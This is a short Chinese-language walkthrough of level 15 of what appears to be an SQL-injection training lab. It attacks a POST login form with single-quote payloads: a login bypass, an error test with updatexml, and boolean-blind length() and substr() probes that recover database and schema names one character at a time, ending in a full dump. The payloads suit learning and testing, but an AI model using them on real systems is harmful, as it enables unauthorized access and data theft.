第十五关请求方式为POST请求 , 注入方式为 单引号字符串型注入
第一步,判断注入类型
使用万能账号测试注入类型
a' or true #
登录成功 , 使用的是单引号字符串 , 源码如下
使用updatexml() 判断数据库是否报错
a' and updatexml(1,'~',3) #
数据库不报错 , 只提示成功或者失败 , 所以此关卡应该使用布尔注入 , 源码如下
第二步,获取数据库
使用 length() 判断当前使用的数据库的长度
a' or length(database())>8 #
从1开始测试 , 到8时失败 , 固 数据库名字长度为 8
使用substr() 判断数据库名字
a' or substr(database(),1,1)='s' #
截取数据库名字的第一个字符 , 从数字,字母,特殊字符的范围内测试
而后测试第二个,第三个,第n个字符 , 直至猜出整个数据库的名字
a' or length( (select schema_name from information_schema.schemata limit 3,1))>1 #
从1开始测试 , 5时开始出现异常 , 固 长度为5
使用 substr() 测试 数据库名字
1. a' or substr( 2. (select schema_name 3. from information_schema.schemata limit 3,1),1,1)='m' #
从第1个字符开始测试 , 测试范围包括所有字母,数字,特殊字符 , 直至测试完整个数据库名
而后用同样的方法测试字段名 , 最终实现脱库